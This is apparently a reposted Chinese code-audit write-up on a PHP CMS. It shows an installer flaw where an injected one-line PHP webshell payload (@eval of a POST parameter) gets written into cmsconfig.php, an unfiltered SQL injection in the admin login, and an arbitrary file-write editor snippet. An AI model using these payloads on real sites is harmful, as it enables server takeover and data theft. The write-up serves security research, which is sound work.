00x1 安装漏洞
install/cmsconfig.php
function step4(){ $root=$_POST["root"]; $dbuser=$_POST["dbuser"]; $dbpsw=$_POST["dbpsw"]; $dbname=$_POST["dbname"]; $tabhead=$_POST["tabhead"]; $ad_user=$_POST["ad_user"]; $ad_psw=$_POST["ad_psw"]; $webname=$_POST["webname"]; $weburl=$_POST["weburl"]; $webinfo=$_POST["webinfo"]; $webkeywords=$_POST["webkeywords"]; $webauthor=$_POST["webauthor"];
这几个都是可控的,并没有进行任何处理。然后传到了$text2,然后又写到了cmsconfig.php当中。
$file="config_empty.php"; $fp=fopen($file,"r"); //以写入方式打开文件 $text2=fread($fp,4096); //读取文件内容 $text2=str_replace('@root@',$root,$text2); $text2=str_replace('@dbuser@',$dbuser,$text2); $text2=str_replace('@dbpsw@',$dbpsw,$text2); $text2=str_replace('@dbname@',$dbname,$text2); $text2=str_replace('@tabhead@',$tabhead,$text2); $text2=str_replace('@webname@',$webname,$text2); $text2=str_replace('@weburl@',$weburl,$text2); $text2=str_replace('@webinfo@',$webinfo,$text2); $text2=str_replace('@webkeywords@',$webkeywords,$text2); $text2=str_replace('@webauthor@',$webauthor,$text2); $file="../cmsconfig.php"; //定义文件 $fp=fopen($file,"w"); //以写入方式打开文件 fwrite($fp,$text2); @unlink("goinstall.php");
这个漏洞比较简单,直接在配置信息中填写一句话闭合就可以getshell了。
POC:
"@eval($_POST['xishaonian'])
然后菜刀直接连接就cmsconfig.php即可。
注:该漏洞也在后台直接可以插一句话
00x2 SQL注入
ad/admin.php
chkoutpost(); $ad_user=$_POST["ad_user"]; $ad_psw=$_POST["ad_psw"];$ad_psw = authcode(@$ad_psw, 'ENCODE', 'key',0); global $tabhead; $tab=$tabhead."adusers"; mysql_select_db($tab); $sql = mysql_query("select * from ".$tab." where adnaa='".$ad_user."'");
很简答可以看到$ad_user没有过滤。直接性导致sql注入。
<?php function edit2save(){ global $themepath; ?> <div class="yj_green" id=full> <b class="b1"></b><b class="b2"></b><b class="b3"></b><b class="b4"></b> <div class="boxcontent"> <h2><a href="?">主题管理</a> > <a href="javascript:history.go(-2)">编辑主题</a> > 编辑文件 > <a href="javascript:history.back()">返回</a></h2> </div> <div class="t1"><div class="t2"> <?php $path=$_REQUEST['path']; $content=stripslashes($_REQUEST['content']); ?> <p>编辑文件:<?=$path?></p> <?php if($path==''){echo'文件路径错误!';exit;} if(file_put_contents ($path, $content)){echo"保存文件成功!";} else{echo"保存文件失败!";} ?> </div></div> <b class="b4b"></b><b class="b3b"></b><b class="b2b"></b><b class="b1b"></b> </div>
访问原文
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论